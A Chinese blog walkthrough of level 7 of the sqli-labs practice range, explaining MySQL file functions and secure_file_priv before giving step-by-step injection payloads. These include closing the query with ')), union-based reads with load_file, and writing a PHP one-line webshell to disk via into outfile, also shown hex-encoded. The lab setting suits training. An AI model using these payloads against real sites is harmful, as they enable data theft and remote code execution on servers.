sqli-labs靶场7关(知道根目录的注入)

知识点

首先要掌握一下相关的函数和知识点
函数:

load_file()函数    是MySQL读取本地文件的函数(读取)
into outfile()函数  是用来导出文件的(写入)
@@basedir函数  查询当前路径
@@datadir函数  查询数据库安装路径

1.load_file()函数用法
在这里插入图片描述2.into outfile()函数用法
在这里插入图片描述查看一下
在这里插入图片描述3.查询当前路径:

select @@basedir;

在这里插入图片描述4.查询当前MySQL路径:

select @@datadir;

在这里插入图片描述5.解决写入权限问题
在E:\Phpmysql\PHPTutorial\MySQL(mysql根目录中)
打开my.ini
添加一条
secure_file_priv=“D:” //就是将写入的文件放在D盘下面
在这里插入图片描述保存退出
然后重启一下phpstudy

第七关开始

查看源码
在这里插入图片描述发现$id传参的值是被((‘包裹’))
所以闭合字符为((‘’))
但是我们还是要从浏览器上开始

一、判断注入点
判断闭合字符 注释后边的语句

?id=1')) and 1=1 --+ (回显正常)
?id=1')) and 1=2 --+ (回显错误)

在这里插入图片描述证明此关的注入点是’))
查看回显信息就能看出是写入文件的一个注入
二、判断列数

?id=1')) order by 3 --+

在这里插入图片描述三、联合查询

?id=1')) union select 1,2,3 --+

在这里插入图片描述四、进行读取的执行

?id=1')) union select 1,2,load_file("D:\2.txt") into outfile 'D:/3.php' --+ 

读取D盘中的2.txt内容,并将内容写入到D盘下面的3.php

?id=1')) union select 1,2,load_file("D:/2.txt") into outfile 'D:/4.php'--+ 

这条语句要证明/和\在这个语句中没有影响,也不需要转义
在这里插入图片描述在这里插入图片描述在这里插入图片描述五、进行文件写入

?id=1')) union select 1,2,'<?php eval($_POST[cmd]);>' into outfile "d:\ma.php" --+ 

注意:上传一句话木马一定要转成16进制

union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile “D://phpstudy//www//sqli”

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值